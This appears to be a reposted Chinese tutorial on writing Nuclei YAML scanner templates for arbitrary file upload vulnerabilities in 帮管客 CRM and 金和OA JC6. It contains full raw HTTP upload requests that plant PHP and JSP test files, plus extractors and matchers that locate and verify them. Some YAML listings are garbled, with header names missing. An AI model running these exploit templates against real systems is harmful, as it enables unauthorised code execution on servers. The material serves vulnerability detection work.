上回我们说了用yaml编写文件上传漏洞的第一种情况“固定文件名+路径”,这次我们主要说第另外一种:
1、固定文件名+路径
2.固定上传路径+随机文件名;
3.随机文件名+随机文件上传路径;
app="帮管客-CRM"
POC如下:
POST /index.php/upload/ajax_upload_chat HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o
------WebKitFormBoundaryv1WbOn5o
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
phpinfo();
------WebKitFormBoundaryv1WbOn5o--
文件上传位置如下:
上传路径为:/data/uploads/uploads_chat/当前日期/时间戳.php
上传文件名在返回包中
因为每次发包后,上级目录和文件名都是不固定的,所以没法固定在返回路径中去访问,上一回我们了解了通过正则表达式来匹配随机文件名,这次也依然可以使用这样的方式来进行匹配;
首先,分析下poc的具体情况:POST请求提交上传数据+文件名,知道了具体漏洞特征后,我们开始编写批量扫描脚本吧:老规矩,先把模板的标题和信息块固定好
id: bgk-CRM-ajax-upload-upload
info:
name: bgk-CRM-ajax-upload-upload
author: 思沃科技
severity: critical
description: 帮管客CRM ajax_upload_chat存在任意文件上传漏洞
完整yaml请求体为:
id: bgk-CRM-ajax-upload-upload
info:
name: bgk-CRM-ajax-upload-upload
author: 思沃科技
severity: critical
description: 帮管客CRM ajax_upload_chat存在任意文件上传漏洞
http:
raw:
|
POST /index.php/upload/ajax_upload_chat HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 :
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 :
gzip, deflate :
1 :
multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o :
------WebKitFormBoundaryv1WbOn5o
form-data; name="file"; filename="1.php" :
image/jpeg :
phpinfo();?>
------WebKitFormBoundaryv1WbOn5o--
|
GET /data/uploads/uploads_chat/当前日期/时间戳.php HTTP/1.1
Host: {{Hostname}}
标题和请求体都放入了yaml中,现在我们不知道它具体返回包的样子,所以没法去写具体的匹配规则,这里,我们还是用笨办法,先写个模糊的匹配规则,来进行测试。
先整理下思路:
1.该POC上传文件类型为php格式
2.如果上传成功,那么返回包中可能存在php文件信息;
3.上传成功了,大概率返回的响应码是200;
根据上述三个猜想来看,我们只要匹配返回包信息中,包含.php以及HTTP响应码为200的特征,那么就有可能会得到想要的结果。
依然可以照搬《文件上传2》的方式来
说干就干!构思完成后的匹配规则如下:
matchers: # 匹配器
- type: status #定义匹配类型为status(响应码)
status:
- 200 # 响应码为200
- type: word #定义第二个匹配条件为关键词
part: body #匹配位置:返回包的body处
words:
- ".php" #匹配返回包中,包含.php字符串的内容
matchers-condition: and #上述两个条件均匹配,然后返回为true
有命中,说明规则应该是没问题的,我们通过--debug,来看下返回包信息:
通过观察,我们发现,该命中特征,有三个地方需要注意:
1.返回包的file_name为文件名,文件名构成为时间戳+不知道什么玩意儿的随机字符.php
2.随机字符为大小写字母组合
3.src内容为上传文件的完整路径+文件名
这里如果仔细观察,会发现src标签内的内容,除了有时间戳命名的文件名以外,上一级目录也是用的当前日期来命名的。
知道了返回包结构,我们继续完善yaml脚本,这里有两种匹配方法。
这里需要用到正则匹配器extractors的regex方法来匹配,因为这里有两个不确定因素,我分别用红色和蓝色来标出
红色为当前日期命名的文件夹,蓝色为时间戳+随机字符组成的文件名,这里有两个随机,所以,我们用两个正则表达式来分别进行匹配
extractors: #正则提取器
- type: regex #正则表达式
part: body_1 #匹配范围为body_1,这里的指定body1,是因为我们要读取POST请求的返回包,它是第一个请求,所以这里用到body_1来精确指定位置;
internal: true #上次说过了
name: time1 #将正则匹配到的数据赋值到time1变量中
regex:
- 202([0-9]{5}) #表达式正文:时间为2024xxxx,一共8位长度, 为了能多用几年,所以我这里只指定了202开头,后面用正则来匹配,正则长度为5位
- type: regex
part: body_1
internal: true
name: files1 #这里定义了第二个正则,将匹配到的内容赋值到files1变量中
regex:
- 202([0-9a-zA-Z]{20}).php #跟上面一样,时间戳,以202开头,后20位进行正则匹配即可,因为不确定返回包里是否有数字,这里规则将0-9也加了进去
GET请求什么的,之前也说过了,就不多说了,规则写完,完整yaml如下:
id: bgk-CRM-ajax-upload-upload
info:
name: bgk-CRM-ajax-upload-upload
author: 思沃科技
severity: critical
description: 帮管客CRM ajax_upload_chat存在任意文件上传漏洞
http:
raw:
|
POST /index.php/upload/ajax_upload_chat HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 :
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 :
gzip, deflate :
1 :
multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o :
------WebKitFormBoundaryv1WbOn5o
form-data; name="file"; filename="1.php" :
image/jpeg :
phpinfo();?>
------WebKitFormBoundaryv1WbOn5o--
|
GET /data/uploads/uploads_chat/{{time1}}/{{files1}} HTTP/1.1
Host: {{Hostname}}
extractors:
type: regex
part: body_1
internal: true
name: time1
regex:
202([0-9]{3})
type: regex
part: body_1
internal: true
name: files1
regex:
202([0-9a-zA-Z]{20}).php
matchers:
type: dsl
dsl:
status_code_2==200 && contains_all(body_2,"phpinfo")
好了,规则写完,完整yaml如下:
id: jinhe-JC6-Upload-uploadfile
info:
name: jinhe-JC6-Upload-uploadfile
author: 思沃科技
severity: critical
description: 金和OA JC6 Upload任意文件上传漏洞
http:
raw:
|
POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1
Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1 :
multipart/form-data; boundary=00content0boundary00 :
Host: {{Hostname}}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
169 :
--00content0boundary00
form-data; name="img"; filename="1.jsp" :
image/jpeg :
out.println("hello"); %>
--00content0boundary00--
| #新增一个GET请求
GET /jc6/upload/{{wj}} HTTP/1.1
Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1 :
Host: {{Hostname}}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
extractors:
type: regex
part: body
internal: true
name: wj
regex:
([0-9a-z]{32}).jsp
matchers:
type: dsl
dsl:
'status_code_2==200 && contains_all(body_2,"hello")' #匹配响应码为200,并且文本内容包含hello字符串的页面
#这里有个细节,最后面的规则,我都加了个_2,表示匹配第二个请求体的结果,这样会更精确一些,不加的话也行,只不过会匹配全局所有请求,那么可能会存一点点的误报率。
最终测试结果
这返回包内容为:
{"code":0,"msg":"","data":{"file_name":"202405291617620mWVtfrUA.php","file_type":"text/x-php","raw_name":"202405291617620mWVtfrUA","orig_name":"202405291617620mWVtfrUA.php","client_name":"1.php","file_ext":".php","file_size":0.02,"is_image":false,"image_width":"","image_height":"","image_type":"","image_size_str":"","src":"/data/uploads/uploads_chat/202405/202405291617620mWVtfrUA.php"}}
根据之前所学,我们用json来一次性提取src内容:观察返回包,该json信息,src位于data下,那么我们构造json规则为.data.src即可没把握的同学,可以通过这个网站进行测试:
https://jqplay.org/
可以看到,在线测试规则,发现确实可以单独提取src的内容提取内容为:"/data/uploads/uploads_chat/202405/202405291617620mWVtfrUA.php"那么,我们把regex正则表达式的内容改下吧,原规则为:
extractors:
type: regex
part: body_1
internal: true
name: time1
regex:
202([0-9]{3})
type: regex
part: body_1
internal: true
name: files1
regex:
202([0-9a-zA-Z]{20}).php
修改成json提取后:
extractors: #正则提取器
- type: json #方式为json
part: body_1 #提取范围为body_1 也就是POST请求返回包信息
name: idnum2 #将提取的信息保存到idnum2变量中
internal: true
json:
- .data.src #提取规则
完整yaml如下:
id: bgk-CRM-ajax-upload-upload
info:
name: bgk-CRM-ajax-upload-upload
author: 思沃科技
severity: critical
description: 帮管客CRM ajax_upload_chat存在任意文件上传漏洞
http:
raw:
|
POST /index.php/upload/ajax_upload_chat HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 :
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 :
gzip, deflate :
1 :
multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o :
------WebKitFormBoundaryv1WbOn5o
form-data; name="file"; filename="1.php" :
image/jpeg :
phpinfo();?>
------WebKitFormBoundaryv1WbOn5o--
|
GET {{idnum2}} HTTP/1.1 #这里要注意哈,因为我们用json提取的时候,将整段src的内容都提取了,里面包含了上传目录+文件名。
Host: {{Hostname}}
extractors:
type: json
part: body_1
name: idnum2
internal: true
json:
.data.src
matchers:
type: dsl
dsl:
status_code_2==200 && contains_all(body_2,"phpinfo")
最终测试结果
原文始发于微信公众号(银遁安全团队):【脚本编写】Nuclei-yaml脚本速成新手教程--文件上传篇3
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论